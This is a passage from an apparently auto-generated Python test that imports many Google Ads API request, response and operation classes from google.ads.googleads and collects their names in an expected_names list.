expected_names.append(MutateCampaignAssetsRequest.__name__) from google.ads.googleads import CampaignAssetOperation expected_names.append(CampaignAssetOperation.__name__) from google.ads.googleads import MutateCampaignAssetsResponse expected_names.append(MutateCampaignAssetsResponse.__name__) from google.ads.googleads import MutateCampaignAssetResult expected_names.append(MutateCampaignAssetResult.__name__) from google.ads.googleads import GetCampaignBidModifierRequest expected_names.append(GetCampaignBidModifierRequest.__name__) from google.ads.googleads import MutateCampaignBidModifiersRequest expected_names.append(MutateCampaignBidModifiersRequest.__name__) from google.ads.googleads import CampaignBidModifierOperation expected_names.append(CampaignBidModifierOperation.__name__) from google.ads.googleads import MutateCampaignBidModifiersResponse expected_names.append(MutateCampaignBidModifiersResponse.__name__) from google.ads.googleads import MutateCampaignBidModifierResult expected_names.append(MutateCampaignBidModifierResult.__name__) from google.ads.googleads import GetCampaignBudgetRequest expected_names.append(GetCampaignBudgetRequest.__name__) from google.ads.googleads import MutateCampaignBudgetsRequest expected_names.append(MutateCampaignBudgetsRequest.__name__) from google.ads.googleads import CampaignBudgetOperation expected_names.append(CampaignBudgetOperation.__name__) from google.ads.googleads import MutateCampaignBudgetsResponse expected_names.append(MutateCampaignBudgetsResponse.__name__) from google.ads.googleads import MutateCampaignBudgetResult expected_names.append(MutateCampaignBudgetResult.__name__) from google.ads.googleads import GetCampaignCriterionRequest expected_names.append(GetCampaignCriterionRequest.__name__) from google.ads.googleads import MutateCampaignCriteriaRequest expected_names.append(MutateCampaignCriteriaRequest.__name__) from google.ads.googleads import CampaignCriterionOperation expected_names.append(CampaignCriterionOperation.__name__) from google.ads.googleads import MutateCampaignCriteriaResponse expected_names.append(MutateCampaignCriteriaResponse.__name__) from google.ads.googleads import MutateCampaignCriterionResult expected_names.append(MutateCampaignCriterionResult.__name__) from google.ads.googleads import GetCampaignDraftRequest expected_names.append(GetCampaignDraftRequest.__name__) from google.ads.googleads import MutateCampaignDraftsRequest expected_names.append(MutateCampaignDraftsRequest.__name__) from google.ads.googleads import PromoteCampaignDraftRequest expected_names.append(PromoteCampaignDraftRequest.__name__) from google.ads.googleads import CampaignDraftOperation expected_names.append(CampaignDraftOperation.__name__) from google.ads.googleads import MutateCampaignDraftsResponse expected_names.append(MutateCampaignDraftsResponse.__name__) from google.ads.googleads import MutateCampaignDraftResult expected_names.append(MutateCampaignDraftResult.__name__) from google.ads.googleads import ListCampaignDraftAsyncErrorsRequest expected_names.append(ListCampaignDraftAsyncErrorsRequest.__name__) from google.ads.googleads import ListCampaignDraftAsyncErrorsResponse expected_names.append(ListCampaignDraftAsyncErrorsResponse.__name__) from google.ads.googleads import GetCampaignExperimentRequest expected_names.append(GetCampaignExperimentRequest.__name__) from google.ads.googleads import MutateCampaignExperimentsRequest expected_names.append(MutateCampaignExperimentsRequest.__name__) from google.ads.googleads import CampaignExperimentOperation expected_names.append(CampaignExperimentOperation.__name__) from google.ads.googleads import MutateCampaignExperimentsResponse expected_names.append(MutateCampaignExperimentsResponse.__name__) from google.ads.googleads import MutateCampaignExperimentResult expected_names.append(MutateCampaignExperimentResult.__name__) from google.ads.googleads import CreateCampaignExperimentRequest expected_names.append(CreateCampaignExperimentRequest.__name__) from google.ads.googleads import CreateCampaignExperimentMetadata expected_names.append(CreateCampaignExperimentMetadata.__name__) from google.ads.googleads import GraduateCampaignExperimentRequest expected_names.append(GraduateCampaignExperimentRequest.__name__) from google.ads.googleads import GraduateCampaignExperimentResponse expected_names.append(GraduateCampaignExperimentResponse.__name__) from google.ads.googleads import PromoteCampaignExperimentRequest expected_names.append(PromoteCampaignExperimentRequest.__name__) from google.ads.googleads import EndCampaignExperimentRequest expected_names.append(EndCampaignExperimentRequest.__name__) from google.ads.googleads import ListCampaignExperimentAsyncErrorsRequest expected_names.append(ListCampaignExperimentAsyncErrorsRequest.__name__) from google.ads.googleads import ListCampaignExperimentAsyncErrorsResponse expected_names.append(ListCampaignExperimentAsyncErrorsResponse.__name__) from google.ads.googleads import GetCampaignExtensionSettingRequest expected_names.append(GetCampaignExtensionSettingRequest.__name__) from google.ads.googleads import MutateCampaignExtensionSettingsRequest expected_names.append(MutateCampaignExtensionSettingsRequest.__name__) from google.ads.googleads import CampaignExtensionSettingOperation expected_names.append(CampaignExtensionSettingOperation.__name__) from google.ads.googleads import MutateCampaignExtensionSettingsResponse expected_names.append(MutateCampaignExtensionSettingsResponse.__name__) from google.ads.googleads import MutateCampaignExtensionSettingResult expected_names.append(MutateCampaignExtensionSettingResult.__name__) from google.ads.googleads import GetCampaignFeedRequest expected_names.append(GetCampaignFeedRequest.__name__) from google.ads.googleads import MutateCampaignFeedsRequest expected_names.append(MutateCampaignFeedsRequest.__name__) from google.ads.googleads import CampaignFeedOperation expected_names.append(CampaignFeedOperation.__name__) from google.ads.googleads import MutateCampaignFeedsResponse expected_names.append(MutateCampaignFeedsResponse.__name__) from google.ads.googleads import MutateCampaignFeedResult expected_names.append(MutateCampaignFeedResult.__name__) from google.ads.googleads import GetCampaignLabelRequest expected_names.append(GetCampaignLabelRequest.__name__) from google.ads.googleads import MutateCampaignLabelsRequest expected_names.append(MutateCampaignLabelsRequest.__name__) from google.ads.googleads import CampaignLabelOperation expected_names.append(CampaignLabelOperation.__name__) from google.ads.googleads import MutateCampaignLabelsResponse expected_names.append(MutateCampaignLabelsResponse.__name__) from google.ads.googleads import MutateCampaignLabelResult expected_names.append(MutateCampaignLabelResult.__name__) from google.ads.googleads import GetCampaignRequest expected_names.append(GetCampaignRequest.__name__) from google.ads.googleads import MutateCampaignsRequest expected_names.append(MutateCampaignsRequest.__name__) from google.ads.googleads import CampaignOperation expected_names.append(CampaignOperation.__name__) from google.ads.googleads import MutateCampaignsResponse expected_names.append(MutateCampaignsResponse.__name__) from google.ads.googleads import MutateCampaignResult expected_names.append(MutateCampaignResult.__name__) from google.ads.googleads import GetCampaignSharedSetRequest expected_names.append(GetCampaignSharedSetRequest.__name__) from google.ads.googleads import MutateCampaignSharedSetsRequest expected_names.append(MutateCampaignSharedSetsRequest.__name__) from google.ads.googleads import CampaignSharedSetOperation expected_names.append(CampaignSharedSetOperation.__name__) from google.ads.googleads import MutateCampaignSharedSetsResponse expected_names.append(MutateCampaignSharedSetsResponse.__name__) from google.ads.googleads import MutateCampaignSharedSetResult expected_names.append(MutateCampaignSharedSetResult.__name__) from google.ads.googleads import GetConversionActionRequest expected_names.append(GetConversionActionRequest.__name__) from google.ads.googleads import MutateConversionActionsRequest expected_names.append(MutateConversionActionsRequest.__name__) from google.ads.googleads import ConversionActionOperation expected_names.append(ConversionActionOperation.__name__) from google.ads.googleads import MutateConversionActionsResponse expected_names.append(MutateConversionActionsResponse.__name__) from google.ads.googleads import MutateConversionActionResult expected_names.append(MutateConversionActionResult.__name__) from google.ads.googleads import GetConversionCustomVariableRequest expected_names.append(GetConversionCustomVariableRequest.__name__) from google.ads.googleads import MutateConversionCustomVariablesRequest expected_names.append(MutateConversionCustomVariablesRequest.__name__) from google.ads.googleads import ConversionCustomVariableOperation expected_names.append(ConversionCustomVariableOperation.__name__) from google.ads.googleads import MutateConversionCustomVariablesResponse expected_names.append(MutateConversionCustomVariablesResponse.__name__) from google.ads.googleads import MutateConversionCustomVariableResult expected_names.append(MutateConversionCustomVariableResult.__name__) from google.ads.googleads import GetConversionValueRuleRequest expected_names.append(GetConversionValueRuleRequest.__name__) from google.ads.googleads import MutateConversionValueRulesRequest expected_names.append(MutateConversionValueRulesRequest.__name__) from google.ads.googleads import ConversionValueRuleOperation expected_names.append(ConversionValueRuleOperation.__name__) from google.ads.googleads import MutateConversionValueRulesResponse expected_names.append(MutateConversionValueRulesResponse.__name__) from google.ads.googleads import MutateConversionValueRuleResult expected_names.append(MutateConversionValueRuleResult.__name__) from google.ads.googleads import GetConversionValueRuleSetRequest expected_names.append(GetConversionValueRuleSetRequest.__name__) from google.ads.googleads import MutateConversionValueRuleSetsRequest expected_names.append(MutateConversionValueRuleSetsRequest.__name__) from google.ads.googleads import ConversionValueRuleSetOperation expected_names.append(ConversionValueRuleSetOperation.__name__) from google.ads.googleads import MutateConversionValueRuleSetsResponse expected_names.append(MutateConversionValueRuleSetsResponse.__name__) from google.ads.googleads import MutateConversionValueRuleSetResult expected_names.append(MutateConversionValueRuleSetResult.__name__) from google.ads.googleads import GetCustomerAssetRequest expected_names.append(GetCustomerAssetRequest.__name__) from google.ads.googleads import MutateCustomerAssetsRequest expected_names.append(MutateCustomerAssetsRequest.__name__) from google.ads.googleads import CustomerAssetOperation expected_names.append(CustomerAssetOperation.__name__) from google.ads.googleads import MutateCustomerAssetsResponse expected_names.append(MutateCustomerAssetsResponse.__name__) from google.ads.googleads import MutateCustomerAssetResult expected_names.append(MutateCustomerAssetResult.__name__) from google.ads.googleads import GetCustomerExtensionSettingRequest expected_names.append(GetCustomerExtensionSettingRequest.__name__) from google.ads.googleads import MutateCustomerExtensionSettingsRequest expected_names.append(MutateCustomerExtensionSettingsRequest.__name__) from google.ads.googleads import CustomerExtensionSettingOperation expected_names.append(CustomerExtensionSettingOperation.__name__) from google.ads.googleads import MutateCustomerExtensionSettingsResponse expected_names.append(MutateCustomerExtensionSettingsResponse.__name__) from google.ads.googleads import MutateCustomerExtensionSettingResult expected_names.append(MutateCustomerExtensionSettingResult.__name__) from google.ads.googleads import GetCustomerFeedRequest expected_names.append(GetCustomerFeedRequest.__name__) from google.ads.googleads import MutateCustomerFeedsRequest expected_names.append(MutateCustomerFeedsRequest.__name__) from google.ads.googleads import CustomerFeedOperation expected_names.append(CustomerFeedOperation.__name__) from google.ads.googleads import MutateCustomerFeedsResponse expected_names.append(MutateCustomerFeedsResponse.__name__) from google.ads.googleads import MutateCustomerFeedResult expected_names.append(MutateCustomerFeedResult.__name__) from google.ads.googleads import GetCustomerLabelRequest expected_names.append(GetCustomerLabelRequest.__name__) from google.ads.googleads import MutateCustomerLabelsRequest expected_names.append(MutateCustomerLabelsRequest.__name__) from google.ads.googleads import CustomerLabelOperation expected_names.append(CustomerLabelOperation.__name__) from google.ads.googleads import MutateCustomerLabelsResponse expected_names.append(MutateCustomerLabelsResponse.__name__) from google.ads.googleads import MutateCustomerLabelResult expected_names.append(MutateCustomerLabelResult.__name__) from google.ads.googleads import GetCustomerNegativeCriterionRequest expected_names.append(GetCustomerNegativeCriterionRequest.__name__) from google.ads.googleads import MutateCustomerNegativeCriteriaRequest expected_names.append(MutateCustomerNegativeCriteriaRequest.__name__) from google.ads.googleads import CustomerNegativeCriterionOperation expected_names.append(CustomerNegativeCriterionOperation.__name__) from google.ads.googleads import MutateCustomerNegativeCriteriaResponse expected_names.append(MutateCustomerNegativeCriteriaResponse.__name__) from google.ads.googleads import MutateCustomerNegativeCriteriaResult expected_names.append(MutateCustomerNegativeCriteriaResult.__name__) from google.ads.googleads import GetCustomerRequest expected_names.append(GetCustomerRequest.__name__) from google.ads.googleads import MutateCustomerRequest expected_names.append(MutateCustomerRequest.__name__) from google.ads.googleads import CreateCustomerClientRequest expected_names.append(CreateCustomerClientRequest.__name__) from google.ads.googleads import CustomerOperation expected_names.append(CustomerOperation.__name__) from google.ads.googleads import CreateCustomerClientResponse expected_names.append(CreateCustomerClientResponse.__name__) from google.ads.googleads import MutateCustomerResponse expected_names.append(MutateCustomerResponse.__name__) from google.ads.googleads import MutateCustomerResult expected_names.append(MutateCustomerResult.__name__) from google.ads.googleads import ListAccessibleCustomersRequest expected_names.append(ListAccessibleCustomersRequest.__name__) from google.ads.googleads import ListAccessibleCustomersResponse expected_names.append(ListAccessibleCustomersResponse.__name__) from google.ads.googleads import GetExtensionFeedItemRequest expected_names.append(GetExtensionFeedItemRequest.__name__) from google.ads.googleads import MutateExtensionFeedItemsRequest expected_names.append(MutateExtensionFeedItemsRequest.__name__) from google.ads.googleads import ExtensionFeedItemOperation expected_names.append(ExtensionFeedItemOperation.__name__) from google.ads.googleads import MutateExtensionFeedItemsResponse expected_names.append(MutateExtensionFeedItemsResponse.__name__) from google.ads.googleads import MutateExtensionFeedItemResult expected_names.append(MutateExtensionFeedItemResult.__name__) from google.ads.googleads import GetFeedItemRequest expected_names.append(GetFeedItemRequest.__name__) from google.ads.googleads import MutateFeedItemsRequest expected_names.append(MutateFeedItemsRequest.__name__) from google.ads.googleads import FeedItemOperation expected_names.append(FeedItemOperation.__name__) from google.ads.googleads import MutateFeedItemsResponse expected_names.append(MutateFeedItemsResponse.__name__) from google.ads.googleads import MutateFeedItemResult expected_names.append(MutateFeedItemResult.__name__) from google.ads.googleads import GetFeedItemSetLinkRequest expected_names.append(GetFeedItemSetLinkRequest.__name__) from google.ads.googleads import MutateFeedItemSetLinksRequest expected_names.append(MutateFeedItemSetLinksRequest.__name__) from google.ads.googleads import FeedItemSetLinkOperation expected_names.append(FeedItemSetLinkOperation.__name__) from google.ads.googleads import MutateFeedItemSetLinksResponse expected_names.append(MutateFeedItemSetLinksResponse.__name__) from google.ads.googleads import MutateFeedItemSetLinkResult expected_names.append(MutateFeedItemSetLinkResult.__name__) from google.ads.googleads import GetFeedItemSetRequest expected_names.append(GetFeedItemSetRequest.__name__) from google.ads.googleads import MutateFeedItemSetsRequest expected_names.append(MutateFeedItemSetsRequest.__name__) from google.ads.googleads import FeedItemSetOperation expected_names.append(FeedItemSetOperation.__name__) from google.ads.googleads import MutateFeedItemSetsResponse expected_names.append(MutateFeedItemSetsResponse.__name__) from google.ads.googleads import MutateFeedItemSetResult expected_names.append(MutateFeedItemSetResult.__name__) from google.ads.googleads import GetFeedItemTargetRequest expected_names.append(GetFeedItemTargetRequest.__name__) from google.ads.googleads import MutateFeedItemTargetsRequest expected_names.append(MutateFeedItemTargetsRequest.__name__) from google.ads.googleads import FeedItemTargetOperation expected_names.append(FeedItemTargetOperation.__name__) from google.ads.googleads import MutateFeedItemTargetsResponse expected_names.append(MutateFeedItemTargetsResponse.__name__) from google.ads.googleads import MutateFeedItemTargetResult expected_names.append(MutateFeedItemTargetResult.__name__) from google.ads.googleads import GetFeedMappingRequest expected_names.append(GetFeedMappingRequest.__name__) from google.ads.googleads import MutateFeedMappingsRequest expected_names.append(MutateFeedMappingsRequest.__name__) from google.ads.googleads import FeedMappingOperation expected_names.append(FeedMappingOperation.__name__) from google.ads.googleads import MutateFeedMappingsResponse expected_names.append(MutateFeedMappingsResponse.__name__) from google.ads.googleads import MutateFeedMappingResult expected_names.append(MutateFeedMappingResult.__name__) from google.ads.googleads import GetFeedRequest expected_names.append(GetFeedRequest.__name__) from google.ads.googleads import MutateFeedsRequest expected_names.append(MutateFeedsRequest.__name__) from google.ads.googleads import FeedOperation expected_names.append(FeedOperation.__name__) from google.ads.googleads import MutateFeedsResponse expected_names.append(MutateFeedsResponse.__name__) from google.ads.googleads import MutateFeedResult expected_names.append(MutateFeedResult.__name__) from google.ads.googleads import GetKeywordPlanAdGroupKeywordRequest expected_names.append(GetKeywordPlanAdGroupKeywordRequest.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupKeywordsRequest expected_names.append(MutateKeywordPlanAdGroupKeywordsRequest.__name__) from google.ads.googleads import KeywordPlanAdGroupKeywordOperation expected_names.append(KeywordPlanAdGroupKeywordOperation.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupKeywordsResponse expected_names.append(MutateKeywordPlanAdGroupKeywordsResponse.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupKeywordResult expected_names.append(MutateKeywordPlanAdGroupKeywordResult.__name__) from google.ads.googleads import GetKeywordPlanAdGroupRequest expected_names.append(GetKeywordPlanAdGroupRequest.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupsRequest expected_names.append(MutateKeywordPlanAdGroupsRequest.__name__) from google.ads.googleads import KeywordPlanAdGroupOperation expected_names.append(KeywordPlanAdGroupOperation.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupsResponse expected_names.append(MutateKeywordPlanAdGroupsResponse.__name__) from google.ads.googleads import MutateKeywordPlanAdGroupResult expected_names.append(MutateKeywordPlanAdGroupResult.__name__) from google.ads.googleads import GetKeywordPlanCampaignKeywordRequest expected_names.append(GetKeywordPlanCampaignKeywordRequest.__name__) from google.ads.googleads import MutateKeywordPlanCampaignKeywordsRequest expected_names.append(MutateKeywordPlanCampaignKeywordsRequest.__name__) from google.ads.googleads import KeywordPlanCampaignKeywordOperation expected_names.append(KeywordPlanCampaignKeywordOperation.__name__) from google.ads.googleads import MutateKeywordPlanCampaignKeywordsResponse expected_names.append(MutateKeywordPlanCampaignKeywordsResponse.__name__) from google.ads.googleads import MutateKeywordPlanCampaignKeywordResult expected_names.append(MutateKeywordPlanCampaignKeywordResult.__name__) from google.ads.googleads import GetKeywordPlanCampaignRequest expected_names.append(GetKeywordPlanCampaignRequest.__name__) from google.ads.googleads import MutateKeywordPlanCampaignsRequest expected_names.append(MutateKeywordPlanCampaignsRequest.__name__) from google.ads.googleads import KeywordPlanCampaignOperation expected_names.append(KeywordPlanCampaignOperation.__name__) from google.ads.googleads import MutateKeywordPlanCampaignsResponse expected_names.append(MutateKeywordPlanCampaignsResponse.__name__) from google.ads.googleads import MutateKeywordPlanCampaignResult expected_names.append(MutateKeywordPlanCampaignResult.__name__) from google.ads.googleads import GetKeywordPlanRequest expected_names.append(GetKeywordPlanRequest.__name__) from google.ads.googleads import MutateKeywordPlansRequest expected_names.append(MutateKeywordPlansRequest.__name__) from google.ads.googleads import KeywordPlanOperation expected_names.append(KeywordPlanOperation.__name__) from google.ads.googleads import MutateKeywordPlansResponse expected_names.append(MutateKeywordPlansResponse.__name__) from google.ads.googleads import MutateKeywordPlansResult expected_names.append(MutateKeywordPlansResult.__name__) from google.ads.googleads import GenerateForecastCurveRequest expected_names.append(GenerateForecastCurveRequest.__name__) from google.ads.googleads import GenerateForecastCurveResponse expected_names.append(GenerateForecastCurveResponse.__name__) from google.ads.googleads import GenerateForecastTimeSeriesRequest expected_names.append(GenerateForecastTimeSeriesRequest.__name__) from google.ads.googleads import GenerateForecastTimeSeriesResponse expected_names.append(GenerateForecastTimeSeriesResponse.__name__) from google.ads.googleads import GenerateForecastMetricsRequest expected_names.append(GenerateForecastMetricsRequest.__name__) from google.ads.googleads import GenerateForecastMetricsResponse expected_names.append(GenerateForecastMetricsResponse.__name__) from google.ads.googleads import KeywordPlanCampaignForecast expected_names.append(KeywordPlanCampaignForecast.__name__) from google.ads.googleads import KeywordPlanAdGroupForecast expected_names.append(KeywordPlanAdGroupForecast.__name__) from google.ads.googleads import KeywordPlanKeywordForecast expected_names.append(KeywordPlanKeywordForecast.__name__) from google.ads.googleads import KeywordPlanCampaignForecastCurve expected_names.append(KeywordPlanCampaignForecastCurve.__name__) from google.ads.googleads import KeywordPlanMaxCpcBidForecastCurve expected_names.append(KeywordPlanMaxCpcBidForecastCurve.__name__) from google.ads.googleads import KeywordPlanMaxCpcBidForecast expected_names.append(KeywordPlanMaxCpcBidForecast.__name__) from google.ads.googleads import KeywordPlanWeeklyTimeSeriesForecast expected_names.append(KeywordPlanWeeklyTimeSeriesForecast.__name__) from google.ads.googleads import KeywordPlanWeeklyForecast expected_names.append(KeywordPlanWeeklyForecast.__name__) from google.ads.googleads import ForecastMetrics expected_names.append(ForecastMetrics.__name__) from google.ads.googleads import GenerateHistoricalMetricsRequest expected_names.append(GenerateHistoricalMetricsRequest.__name__) from google.ads.googleads import GenerateHistoricalMetricsResponse expected_names.append(GenerateHistoricalMetricsResponse.__name__) from google.ads.googleads import KeywordPlanKeywordHistoricalMetrics expected_names.append(KeywordPlanKeywordHistoricalMetrics.__name__) from google.ads.googleads import GetLabelRequest expected_names.append(GetLabelRequest.__name__) from google.ads.googleads import MutateLabelsRequest expected_names.append(MutateLabelsRequest.__name__) from google.ads.googleads import LabelOperation expected_names.append(LabelOperation.__name__) from google.ads.googleads import MutateLabelsResponse expected_names.append(MutateLabelsResponse.__name__) from google.ads.googleads import MutateLabelResult expected_names.append(MutateLabelResult.__name__) from google.ads.googleads import GetMediaFileRequest expected_names.append(GetMediaFileRequest.__name__) from google.ads.googleads import MutateMediaFilesRequest expected_names.append(MutateMediaFilesRequest.__name__) from google.ads.googleads import MediaFileOperation expected_names.append(MediaFileOperation.__name__) from google.ads.googleads import MutateMediaFilesResponse expected_names.append(MutateMediaFilesResponse.__name__) from google.ads.googleads import MutateMediaFileResult expected_names.append(MutateMediaFileResult.__name__) from google.ads.googleads import GetRemarketingActionRequest expected_names.append(GetRemarketingActionRequest.__name__) from google.ads.googleads import MutateRemarketingActionsRequest expected_names.append(MutateRemarketingActionsRequest.__name__) from google.ads.googleads import RemarketingActionOperation expected_names.append(RemarketingActionOperation.__name__) from google.ads.googleads import MutateRemarketingActionsResponse expected_names.append(MutateRemarketingActionsResponse.__name__) from google.ads.googleads import MutateRemarketingActionResult expected_names.append(MutateRemarketingActionResult.__name__) from google.ads.googleads import GetSharedCriterionRequest expected_names.append(GetSharedCriterionRequest.__name__) from google.ads.googleads import MutateSharedCriteriaRequest expected_names.append(MutateSharedCriteriaRequest.__name__) from google.ads.googleads import SharedCriterionOperation expected_names.append(SharedCriterionOperation.__name__) from google.ads.googleads import MutateSharedCriteriaResponse expected_names.append(MutateSharedCriteriaResponse.__name__) from google.ads.googleads import MutateSharedCriterionResult expected_names.append(MutateSharedCriterionResult.__name__) from google.ads.googleads import GetSharedSetRequest expected_names.append(GetSharedSetRequest.__name__) from google.ads.googleads import MutateSharedSetsRequest expected_names.append(MutateSharedSetsRequest.__name__) from google.ads.googleads import SharedSetOperation expected_names.append(SharedSetOperation.__name__) from google.ads.googleads import MutateSharedSetsResponse expected_names.append(MutateSharedSetsResponse.__name__) from google.ads.googleads import MutateSharedSetResult expected_names.append(MutateSharedSetResult.__name__) from google.ads.googleads import GetSmartCampaignSettingRequest expected_names.append(GetSmartCampaignSettingRequest.__name__) from google.ads.googleads import MutateSmartCampaignSettingsRequest expected_names.append(MutateSmartCampaignSettingsRequest.__name__) from google.ads.googleads import SmartCampaignSettingOperation expected_names.append(SmartCampaignSettingOperation.__name__) from google.ads.googleads import MutateSmartCampaignSettingsResponse expected_names.append(MutateSmartCampaignSettingsResponse.__name__) from google.ads.googleads import MutateSmartCampaignSettingResult expected_names.append(MutateSmartCampaignSettingResult.__name__) from google.ads.googleads import GetUserListRequest expected_names.append(GetUserListRequest.__name__) from google.ads.googleads import MutateUserListsRequest expected_names.append(MutateUserListsRequest.__name__) from google.ads.googleads import UserListOperation expected_names.append(UserListOperation.__name__) from google.ads.googleads import MutateUserListsResponse expected_names.append(MutateUserListsResponse.__name__) from google.ads.googleads import MutateUserListResult expected_names.append(MutateUserListResult.__name__) from google.ads.googleads import SearchGoogleAdsRequest expected_names.append(SearchGoogleAdsRequest.__name__) from google.ads.googleads import SearchGoogleAdsResponse expected_names.append(SearchGoogleAdsResponse.__name__) from google.ads.googleads import SearchGoogleAdsStreamRequest expected_names.append(SearchGoogleAdsStreamRequest.__name__) from google.ads.googleads import SearchGoogleAdsStreamResponse expected_names.append(SearchGoogleAdsStreamResponse.__name__) from google.ads.googleads import GoogleAdsRow expected_names.append(GoogleAdsRow.__name__) from google.ads.googleads import MutateGoogleAdsRequest expected_names.append(MutateGoogleAdsRequest.__name__) from google.ads.googleads import MutateGoogleAdsResponse expected_names.append(MutateGoogleAdsResponse.__name__) from google.ads.googleads import MutateOperation expected_names.append(MutateOperation.__name__) from google.ads.googleads import MutateOperationResponse expected_names.append(MutateOperationResponse.__name__) from google.ads.googleads import MutateBatchJobRequest expected_names.append(MutateBatchJobRequest.__name__) from google.ads.googleads import BatchJobOperation expected_names.append(BatchJobOperation.__name__) from google.ads.googleads import MutateBatchJobResponse expected_names.append(MutateBatchJobResponse.__name__) from google.ads.googleads import MutateBatchJobResult expected_names.append(MutateBatchJobResult.__name__) from google.ads.googleads import GetBatchJobRequest expected_names.append(GetBatchJobRequest.__name__) from google.ads.googleads import RunBatchJobRequest expected_names.append(RunBatchJobRequest.__name__) from google.ads.googleads import AddBatchJobOperationsRequest expected_names.append(AddBatchJobOperationsRequest.__name__) from google.ads.googleads import AddBatchJobOperationsResponse expected_names.append(AddBatchJobOperationsResponse.__name__) from google.ads.googleads import ListBatchJobResultsRequest expected_names.append(ListBatchJobResultsRequest.__name__) from google.ads.googleads import ListBatchJobResultsResponse expected_names.append(ListBatchJobResultsResponse.__name__) from google.ads.googleads import BatchJobResult expected_names.append(BatchJobResult.__name__) from google.ads.googleads import GetBiddingStrategySimulationRequest expected_names.append(GetBiddingStrategySimulationRequest.__name__) from google.ads.googleads import GetBillingSetupRequest expected_names.append(GetBillingSetupRequest.__name__) from google.ads.googleads import MutateBillingSetupRequest expected_names.append(MutateBillingSetupRequest.__name__) from google.ads.googleads import BillingSetupOperation expected_names.append(BillingSetupOperation.__name__) from google.ads.googleads import MutateBillingSetupResponse expected_names.append(MutateBillingSetupResponse.__name__) from google.ads.googleads import MutateBillingSetupResult expected_names.append(MutateBillingSetupResult.__name__) from google.ads.googleads import GetCampaignAudienceViewRequest expected_names.append(GetCampaignAudienceViewRequest.__name__) from google.ads.googleads import GetCampaignCriterionSimulationRequest expected_names.append(GetCampaignCriterionSimulationRequest.__name__) from google.ads.googleads import GetCampaignSimulationRequest expected_names.append(GetCampaignSimulationRequest.__name__) from google.ads.googleads import GetCarrierConstantRequest expected_names.append(GetCarrierConstantRequest.__name__) from google.ads.googleads import GetChangeStatusRequest expected_names.append(GetChangeStatusRequest.__name__) from google.ads.googleads import GetClickViewRequest expected_names.append(GetClickViewRequest.__name__) from google.ads.googleads import GetCombinedAudienceRequest expected_names.append(GetCombinedAudienceRequest.__name__) from google.ads.googleads import UploadConversionAdjustmentsRequest expected_names.append(UploadConversionAdjustmentsRequest.__name__) from google.ads.googleads import UploadConversionAdjustmentsResponse expected_names.append(UploadConversionAdjustmentsResponse.__name__) from google.ads.googleads import ConversionAdjustment expected_names.append(ConversionAdjustment.__name__) from google.ads.googleads import RestatementValue expected_names.append(RestatementValue.__name__) from google.ads.googleads import GclidDateTimePair expected_names.append(GclidDateTimePair.__name__) from google.ads.googleads import ConversionAdjustmentResult expected_names.append(ConversionAdjustmentResult.__name__) from google.ads.googleads import UploadClickConversionsRequest expected_names.append(UploadClickConversionsRequest.__name__) from google.ads.googleads import UploadClickConversionsResponse expected_names.append(UploadClickConversionsResponse.__name__) from google.ads.googleads import UploadCallConversionsRequest expected_names.append(UploadCallConversionsRequest.__name__) from google.ads.googleads import UploadCallConversionsResponse expected_names.append(UploadCallConversionsResponse.__name__) from google.ads.googleads import ClickConversion expected_names.append(ClickConversion.__name__) from google.ads.googleads import CallConversion expected_names.append(CallConversion.__name__) from google.ads.googleads import ExternalAttributionData expected_names.append(ExternalAttributionData.__name__) from google.ads.googleads import ClickConversionResult expected_names.append(ClickConversionResult.__name__) from google.ads.googleads import CallConversionResult expected_names.append(CallConversionResult.__name__) from google.ads.googleads import CustomVariable expected_names.append(CustomVariable.__name__) from google.ads.googleads import CartData expected_names.append(CartData.__name__) from google.ads.googleads import GetCurrencyConstantRequest expected_names.append(GetCurrencyConstantRequest.__name__) from google.ads.googleads import GetCustomAudienceRequest expected_names.append(GetCustomAudienceRequest.__name__) from google.ads.googleads import MutateCustomAudiencesRequest expected_names.append(MutateCustomAudiencesRequest.__name__) from google.ads.googleads import CustomAudienceOperation expected_names.append(CustomAudienceOperation.__name__) from google.ads.googleads import MutateCustomAudiencesResponse expected_names.append(MutateCustomAudiencesResponse.__name__) from google.ads.googleads import MutateCustomAudienceResult expected_names.append(MutateCustomAudienceResult.__name__) from google.ads.googleads import GetCustomInterestRequest expected_names.append(GetCustomInterestRequest.__name__) from google.ads.googleads import MutateCustomInterestsRequest expected_names.append(MutateCustomInterestsRequest.__name__) from google.ads.googleads import CustomInterestOperation expected_names.append(CustomInterestOperation.__name__) from google.ads.googleads import MutateCustomInterestsResponse expected_names.append(MutateCustomInterestsResponse.__name__) from google.ads.googleads import MutateCustomInterestResult expected_names.append(MutateCustomInterestResult.__name__) from google.ads.googleads import GetCustomerClientLinkRequest expected_names.append(GetCustomerClientLinkRequest.__name__) from google.ads.googleads import MutateCustomerClientLinkRequest expected_names.append(MutateCustomerClientLinkRequest.__name__) from google.ads.googleads import CustomerClientLinkOperation expected_names.append(CustomerClientLinkOperation.__name__) from google.ads.googleads import MutateCustomerClientLinkResponse expected_names.append(MutateCustomerClientLinkResponse.__name__) from google.ads.googleads import MutateCustomerClientLinkResult expected_names.append(MutateCustomerClientLinkResult.__name__) from google.ads.googleads import GetCustomerClientRequest expected_names.append(GetCustomerClientRequest.__name__) from google.ads.googleads import GetCustomerManagerLinkRequest expected_names.append(GetCustomerManagerLinkRequest.__name__) from google.ads.googleads import MutateCustomerManagerLinkRequest expected_names.append(MutateCustomerManagerLinkRequest.__name__) from google.ads.googleads import MoveManagerLinkRequest expected_names.append(MoveManagerLinkRequest.__name__) from google.ads.googleads import CustomerManagerLinkOperation expected_names.append(CustomerManagerLinkOperation.__name__) from google.ads.googleads import MutateCustomerManagerLinkResponse expected_names.append(MutateCustomerManagerLinkResponse.__name__) from google.ads.googleads import MoveManagerLinkResponse expected_names.append(MoveManagerLinkResponse.__name__) from google.ads.googleads import MutateCustomerManagerLinkResult expected_names.append(MutateCustomerManagerLinkResult.__name__) from google.ads.googleads import GetCustomerUserAccessInvitationRequest expected_names.append(GetCustomerUserAccessInvitationRequest.__name__) from google.ads.googleads import MutateCustomerUserAccessInvitationRequest expected_names.append(MutateCustomerUserAccessInvitationRequest.__name__) from google.ads.googleads import CustomerUserAccessInvitationOperation expected_names.append(CustomerUserAccessInvitationOperation.__name__) from google.ads.googleads import MutateCustomerUserAccessInvitationResponse expected_names.append(MutateCustomerUserAccessInvitationResponse.__name__) from google.ads.googleads import 